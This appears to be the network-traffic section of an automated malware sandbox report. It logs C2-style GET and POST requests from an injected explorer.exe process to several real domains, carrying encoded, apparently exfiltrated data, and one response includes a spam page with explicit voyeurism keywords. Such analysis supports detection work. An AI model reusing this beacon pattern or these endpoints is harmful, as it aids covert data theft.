Jun 3, 2022 08:16:59.184253931 CEST	7705	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Fri, 03 Jun 2022 06:16:59 GMT Connection: close Content-Length: 1259 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 6b 73 5f 63 5f 35 36 30 31 2d 31 39 38 37 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 c6 c4 c0 cf 20 b6 c7 b4 c2 20 b5 f0 b7 ba c5 cd b8 ae b8 a6 20 c3 a3 c0 bb 20 bc f6 20 be f8 bd c0 b4 cf b4 d9 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ks_c_5601-1987"/><title>404 - .</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had
Jun 3, 2022 08:16:59.184284925 CEST	7705	IN	Data Raw: 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d Data Ascii: its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49783	162.213.255.237	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:09.624197006 CEST	9575	OUT	GET /umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp HTTP/1.1 Host: www.shopcycles3.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:17:09.869417906 CEST	9576	IN	HTTP/1.1 404 Not Found Date: Fri, 03 Jun 2022 06:17:09 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 281 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 68 6f 70 63 79 63 6c 65 73 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.shopcycles3.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49825	198.44.241.20	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:49.230521917 CEST	10620	OUT	GET /umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp HTTP/1.1 Host: www.huiyi-sui.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:17:49.438215017 CEST	10666	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 03 Jun 2022 06:17:49 GMT Content-Type: text/html Content-Length: 1841 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 ba cf b7 ca c9 c8 c0 cf bb f5 d4 cb b4 fa c0 ed d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 30 35 39 39 3b 26 23 33 31 33 39 37 3b 26 23 32 39 30 38 37 3b 26 23 32 32 38 39 39 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 32 38 39 39 3b 26 23 32 31 33 39 37 3b 26 23 33 30 34 39 35 3b 26 23 32 33 34 35 34 3b 26 23 32 30 35 39 39 3b 26 23 32 35 32 39 33 3b 26 23 32 35 37 34 36 3b 26 23 32 33 36 31 35 3b 26 23 31 31 39 3b 26 23 39 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 32 30 30 38 31 3b 26 23 33 30 37 32 31 3b 26 23 32 30 32 36 32 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 35 37 37 33 3b 26 23 32 35 39 31 38 3b 2c 26 23 32 30 30 33 37 3b 26 23 33 38 37 33 38 3b 26 23 33 33 36 30 39 3b 26 23 32 34 34 33 33 3b 26 23 33 38 34 39 38 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 30 35 39 39 3b 26 23 33 31 33 39 37 3b 26 23 32 39 30 38 37 3b 26 23 32 32 38 39 39 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 32 38 39 39 3b 26 23 32 31 33 39 37 3b 26 23 33 30 34 39 35 3b 26 23 32 33 34 35 34 3b 26 23 32 30 35 39 39 3b 26 23 32 35 32 39 33 3b 26 23 32 35 37 34 36 3b 26 23 32 33 36 31 35 3b 26 23 31 31 39 3b 26 23 39 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 32 30 30 38 31 3b 26 23 33 30 37 32 31 3b 26 23 32 30 32 36 32 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 35 37 37 33 3b 26 23 32 35 39 31 38 3b 2c 26 23 32 30 30 33 37 3b 26 23 33 38 37 33 38 3b 26 23 33 33 36 30 39 3b 26 23 32 34 34 33 33 3b 26 23 33 38 34 39 38 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 30 35 39 39 3b 26 23 33 31 33 39 37 3b 26 23 32 39 30 38 37 3b 26 23 32 32 38 39 39 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 32 38 39 39 3b 26 23 32 31 33 39 37 3b 26 23 33 30 34 39 35 3b 26 23 32 33 34 35 34 3b 26 23 32 30 35 39 39 3b 26 23 32 35 32 39 33 3b 26 23 32 35 37 34 36 3b 26 23 32 33 36 31 35 3b 26 23 31 31 39 3b 26 23 39 39 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 32 30 30 38 31 3b 26 23 33 30 37 32 31 3b 26 23 32 30 32 36 32 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>国产精品偷窥熟女精品视频,女厕真实偷拍撒尿wc视频,日本乱码伦视频免费播放,久青草影院在线观看国产</title><meta name="keywords" content="国产精品偷窥熟女精品视频,女厕真实偷拍撒尿wc视频,日本乱码伦视频免费播放,久青草影院在线观看国产" /><meta name="description" content="国产精品偷窥熟女精品视频,女厕真实偷拍撒尿wc视频,日本乱码伦视&#39057
Jun 3, 2022 08:17:49.438241005 CEST	10667	IN	Data Raw: 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 35 37 37 33 3b 26 23 32 35 39 31 38 3b 2c 26 23 32 30 30 33 37 3b 26 23 33 38 37 33 38 3b 26 23 33 33 36 30 39 3b 26 23 32 34 34 33 33 3b 26 23 33 38 34 39 38 3b 26 23 32 32 33 31 32 3b Data Ascii: ;免费播放,久青草影院在线观看国产,久久久久影院美女国产主播,国产&#37326

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49835	107.187.232.173	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:55.044303894 CEST	11048	OUT	POST /umat/ HTTP/1.1 Host: www.sarrafguler.com Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.sarrafguler.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.sarrafguler.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 4b 6c 65 2d 34 67 59 63 32 6f 45 4f 37 68 30 68 7a 37 75 6c 74 71 36 4f 49 5a 7a 4b 65 59 72 57 62 79 50 37 70 66 48 4c 57 73 76 55 4b 48 6c 34 5a 42 38 69 7a 65 72 38 55 72 6a 74 34 78 48 43 6f 42 61 6b 28 74 57 67 45 57 55 57 65 58 7e 7a 47 76 68 59 53 51 72 75 33 51 6d 76 48 4d 59 6e 47 58 53 5f 4d 50 4c 36 31 79 5a 33 75 4d 4b 71 74 55 35 65 7a 55 59 33 74 6e 7e 73 42 38 48 33 6c 30 47 32 43 55 6b 39 57 74 42 41 32 5f 37 64 7e 36 38 61 43 54 36 79 4a 58 38 43 47 52 75 73 61 6c 56 5f 76 51 74 31 6d 76 41 31 44 42 67 53 63 6c 78 45 36 70 53 77 66 4d 48 6f 64 74 77 6c 48 32 4e 58 4f 48 32 51 4b 70 4a 59 7e 38 41 68 6b 34 75 73 54 45 58 50 48 4f 34 55 32 58 4c 53 5a 79 66 74 57 55 34 5f 75 4b 63 57 41 79 37 50 72 77 6b 57 53 68 72 31 28 68 72 4c 51 74 4f 43 77 6f 65 54 74 48 74 72 75 55 44 64 76 61 53 33 5a 53 76 59 33 76 78 4d 64 62 4f 72 4f 6a 6e 53 70 2d 35 78 78 4e 47 31 68 65 4e 67 32 68 4a 70 41 78 59 53 65 65 32 6a 65 56 35 68 54 53 54 49 49 45 53 38 34 72 64 68 33 4f 66 51 48 5a 77 77 70 62 47 72 4b 72 44 66 66 34 68 55 72 71 58 76 71 31 53 50 6a 30 5a 45 5a 4b 58 77 30 79 78 61 71 30 4c 45 77 53 31 61 77 6f 47 55 75 69 6e 30 51 32 75 4a 7e 38 74 5f 45 43 48 39 36 78 53 44 54 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=Kle-4gYc2oEO7h0hz7ultq6OIZzKeYrWbyP7pfHLWsvUKHl4ZB8izer8Urjt4xHCoBak(tWgEWUWeX~zGvhYSQru3QmvHMYnGXS_MPL61yZ3uMKqtU5ezUY3tn~sB8H3l0G2CUk9WtBA2_7d~68aCT6yJX8CGRusalV_vQt1mvA1DBgSclxE6pSwfMHodtwlH2NXOH2QKpJY~8Ahk4usTEXPHO4U2XLSZyftWU4_uKcWAy7PrwkWShr1(hrLQtOCwoeTtHtruUDdvaS3ZSvY3vxMdbOrOjnSp-5xxNG1heNg2hJpAxYSee2jeV5hTSTIIES84rdh3OfQHZwwpbGrKrDff4hUrqXvq1SPj0ZEZKXw0yxaq0LEwS1awoGUuin0Q2uJ~8t_ECH96xSDTg).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49836	107.187.232.173	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:55.225189924 CEST	11057	OUT	POST /umat/ HTTP/1.1 Host: www.sarrafguler.com Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.sarrafguler.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.sarrafguler.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 4b 6c 65 2d 34 68 6b 4b 79 59 70 4f 33 52 49 43 79 75 4b 78 69 37 4b 49 4b 6f 48 56 41 4a 33 4e 63 41 6e 76 74 65 32 37 56 73 48 4b 42 58 4a 47 54 69 39 6b 7a 65 62 46 63 35 58 54 70 42 62 42 6f 42 43 47 28 74 43 67 48 57 39 62 66 30 71 56 46 4d 5a 58 53 77 71 62 6c 67 6e 35 52 2d 73 61 47 58 57 42 4d 50 44 71 31 44 6c 33 28 65 43 71 76 54 56 72 39 55 59 31 6b 48 76 74 4f 63 44 41 6c 31 6a 6a 43 57 41 39 44 4e 4e 41 33 63 6a 61 70 70 55 5a 61 54 36 33 66 6e 39 65 63 68 7a 64 61 6c 41 71 76 56 56 31 6d 36 77 31 4d 79 6f 53 4a 69 6c 48 79 35 53 35 62 4d 48 6c 5a 74 73 30 48 31 70 4c 4f 47 43 41 4c 59 4e 59 76 63 41 67 67 72 4f 53 46 44 69 56 42 4e 6c 34 32 58 48 72 5a 44 44 31 57 56 6b 44 35 72 4d 74 4f 78 54 6c 72 79 49 6f 56 78 71 64 33 42 72 55 51 74 4f 69 77 6f 65 39 74 45 46 72 75 53 44 64 75 37 43 33 66 79 76 48 39 5f 78 4b 48 72 4f 38 46 44 72 76 70 36 73 6d 78 50 32 6c 67 74 35 67 32 79 52 70 42 53 41 64 47 75 32 6c 61 56 34 6e 41 43 54 48 49 45 54 5a 34 76 41 38 33 39 72 51 46 4b 6f 77 75 35 75 72 47 37 44 66 52 59 68 57 6b 4b 62 47 71 31 61 4c 6a 31 46 79 5a 64 50 77 74 41 35 61 72 52 6e 45 77 69 31 61 37 49 48 67 67 58 43 4d 64 56 44 6a 77 4f 5a 54 4b 6b 32 71 30 77 6a 32 54 72 34 42 31 66 32 67 48 48 4b 4d 38 72 76 73 54 6e 4c 52 75 64 65 59 74 6d 48 50 62 66 4f 6f 4c 66 68 44 4c 43 65 4a 53 46 72 57 61 78 51 43 32 70 4d 42 30 47 50 5a 6d 4a 61 45 50 61 70 6d 55 51 5a 51 63 5a 69 52 6b 35 74 57 58 4f 66 59 28 35 73 79 50 69 61 38 71 4a 69 47 59 4d 41 74 6f 70 4c 43 77 45 50 43 68 73 75 70 66 56 63 2d 5a 68 4e 36 78 31 4f 57 65 63 46 31 6b 73 57 57 38 4a 75 47 33 56 52 61 6d 44 73 36 32 62 58 30 68 78 28 4d 50 4b 36 77 6f 77 39 54 76 48 6e 44 65 33 70 77 46 4b 30 53 76 71 5a 42 66 7a 39 48 49 65 73 37 57 31 6e 39 38 75 70 70 47 53 6d 5f 50 71 57 71 76 6e 69 79 52 66 73 58 5a 49 73 37 70 63 76 30 74 35 76 34 77 77 6e 43 48 45 74 79 44 6f 39 41 7a 6d 39 75 73 48 72 35 56 56 32 7a 34 6c 52 69 76 44 73 2d 51 2d 73 6c 7a 52 61 53 62 71 69 48 28 76 28 66 38 74 6a 76 74 36 37 79 42 4f 65 39 75 37 4b 62 4b 4e 35 75 31 33 6b 72 55 31 44 5f 68 51 50 48 53 39 57 41 49 52 37 50 43 34 59 49 46 38 69 37 4f 6e 63 30 76 70 42 7a 4f 6f 57 61 71 43 67 57 6e 71 36 44 73 6a 65 75 4d 62 46 5a 61 49 79 73 44 47 39 69 4f 53 74 6d 74 42 4a 33 74 48 75 31 36 59 6b 33 59 45 4d 62 78 33 6e 39 30 4b 66 4f 69 58 6c 77 68 63 4d 79 75 65 6d 56 6f 78 69 74 6d 73 50 39 39 48 6c 57 6f 50 59 64 49 6e 57 74 79 33 65 5f 7a 5a 46 71 79 54 49 41 4d 71 5a 67 7e 6c 70 57 42 72 54 71 63 7a 51 63 32 68 46 71 4a 66 28 67 56 72 57 57 43 43 35 6d 4b 6a 78 53 31 30 6d 5f 33 35 41 34 76 6b 70 6e 34 53 32 6a 4d 54 44 44 6f 50 33 49 4b 4a 34 6f 66 72 6d 39 35 35 4f 77 74 6d 6c 75 79 37 69 43 46 56 42 38 57 72 4a 71 4e 56 4a 45 53 6f 68 35 56 74 76 6f 48 37 74 58 53 38 50 4e 44 6a 46 71 44 49 48 4e 38 69 64 46 50 65 39 65 64 69 44 44 4d 54 34 5a 43 4c 77 71 73 56 55 77 78 38 68 49 6d 64 44 71 32 32 70 6d 49 41 39 72 49 31 44 36 48 63 77 38 42 49 64 48 77 6d 39 36 4c 53 78 64 79 48 58 49 51 78 4a 31 56 59 6d 64 34 69 7e 33 7e 39 32 34 73 5a 45 52 59 78 70 72 31 44 7a 33 44 73 47 6d 79 32 30 6c 6b 6f 69 38 71 66 61 4f 28 6d 76 39 36 6e 34 34 53 2d 72 69 55 38 67 39 78 5f 4a 61 30 38 38 47 65 6a 61 44 55 6a 43 36 6d 37 66 69 6e 30 58 6f 47 54 55 35 66 57 30 6d 6d 47 41 79 33 46 7e 49 75 51 50 44 77 42 62 58 58 38 32 56 4e 6e 76 5f 5a 42 45 38 4b 31 51 42 48 5f 37 79 62 51 4d 70 53 38 53 53 76 53 4e 67 6c 68 44 42 4d 58 48 59 74 39 73 42 45 57 38 58 64 4a 69 6a 38 51 47 36 79 47 4c 79 77 5f 57 5a 53 36 46 31 62 4f 41 66 6c 57 78 42 65 5a 6e 74 4f 71 31 4a 4d 5a 73 73 66 39 6c 62 6f 56 68 45 76 58 7e 44 33 35 57 75 52 54 73 77 4a 69 6d 50 41 48 4a 69 4f 4e 6a 56 78 72 53 6c 7e 63 55 2d 45 42 46 6d 4c 4b 4e 41 68 35 36 33 69 61 75 65 4c 33 42 63 33 46 67 4a 46 74 76 48 5a 6b 51 56 39 54 56 6f 48 4f 76 48 72 4e 4f 54 47 79 63 30 31 48 50 74 52 57 56 68 59 76 42 36 63 52 4e 55 66 78 52 70 69 52 55 55 31 79 41 71 28 6f 4d 6a 34 4d 73 47 28 34 67 2d 7a 42 45 39 4a 48 63 36 63 6f 37 41 31 75 43 64 51 43 76 78 7a 43 30 62 5a 5a 64 65 4e 44 Data Ascii: bT7tPLpx=Kle-4hkKyYpO3RICyuKxi7KIKoHVAJ3NcAnvte27VsHKBXJGTi9kzebFc5XTpBbBoBCG(tCgHW9bf0qVFMZXSwqblgn5R-saGXWBMPDq1Dl3(eCqvTVr9UY1kHvtOcDAl1jjCWA9DNNA3cjappUZaT63fn9echzdalAqvVV1m6w1MyoSJilHy5S5bMHlZts0H1pLOGCALYNYvcAggrOSFDiVBNl42XHrZDD1WVkD5rMtOxTlryIoVxqd3BrUQtOiwoe9tEFruSDdu7C3fyvH9_xKHrO8FDrvp6smxP2lgt5g2yRpBSAdGu2laV4nACTHIETZ4vA839rQFKowu5urG7DfRYhWkKbGq1aLj1FyZdPwtA5arRnEwi1a7IHggXCMdVDjwOZTKk2q0wj2Tr4B1f2gHHKM8rvsTnLRudeYtmHPbfOoLfhDLCeJSFrWaxQC2pMB0GPZmJaEPapmUQZQcZiRk5tWXOfY(5syPia8qJiGYMAtopLCwEPChsupfVc-ZhN6x1OWecF1ksWW8JuG3VRamDs62bX0hx(MPK6wow9TvHnDe3pwFK0SvqZBfz9HIes7W1n98uppGSm_PqWqvniyRfsXZIs7pcv0t5v4wwnCHEtyDo9Azm9usHr5VV2z4lRivDs-Q-slzRaSbqiH(v(f8tjvt67yBOe9u7KbKN5u13krU1D_hQPHS9WAIR7PC4YIF8i7Onc0vpBzOoWaqCgWnq6DsjeuMbFZaIysDG9iOStmtBJ3tHu16Yk3YEMbx3n90KfOiXlwhcMyuemVoxitmsP99HlWoPYdInWty3e_zZFqyTIAMqZg~lpWBrTqczQc2hFqJf(gVrWWCC5mKjxS10m_35A4vkpn4S2jMTDDoP3IKJ4ofrm955Owtmluy7iCFVB8WrJqNVJESoh5VtvoH7tXS8PNDjFqDIHN8idFPe9ediDDMT4ZCLwqsVUwx8hImdDq22pmIA9rI1D6Hcw8BIdHwm96LSxdyHXIQxJ1VYmd4i~3~924sZERYxpr1Dz3DsGmy20lkoi8qfaO(mv96n44S-riU8g9x_Ja088GejaDUjC6m7fin0XoGTU5fW0mmGAy3F~IuQPDwBbXX82VNnv_ZBE8K1QBH_7ybQMpS8SSvSNglhDBMXHYt9sBEW8XdJij8QG6yGLyw_WZS6F1bOAflWxBeZntOq1JMZssf9lboVhEvX~D35WuRTswJimPAHJiONjVxrSl~cU-EBFmLKNAh563iaueL3Bc3FgJFtvHZkQV9TVoHOvHrNOTGyc01HPtRWVhYvB6cRNUfxRpiRUU1yAq(oMj4MsG(4g-zBE9JHc6co7A1uCdQCvxzC0bZZdeNDD4wW(aKuL4ZohC~HT5wjAsk0QOi1aiCLLn5kUnFRgnSj0RPTpy7piJ84VK(p8wdp7_XQyYedcGmC1UgkPqZ_(2DRQePR7t9zuOvmP6JkjL1rSnTI2uqjbc8d3kRcHR53iOH1jEbQplZ7Xb0DM1NDN5NjjZn1s_a8EteAg51A6vYZjn4lwXeJIUM5LMlTBOAu5QKN4JDeZ3krMNIpedHocT4Xki(WzRJx64STKpvtqhvNtlu1lQnxbK9rbDUy6cdxaPKUNyaVFg~gpI(zmuAKMgGT(8uHhZxJRt0Q1Ux7F6Neh0wZsf2ud5e_XT00ZlR0~VAQ4QxHaXjFbORLZWFMP7MwHUHV(Zu7YZ1MyVuQdJFoEYjlR0xXeMQOK3b2HtceaBXlTJLT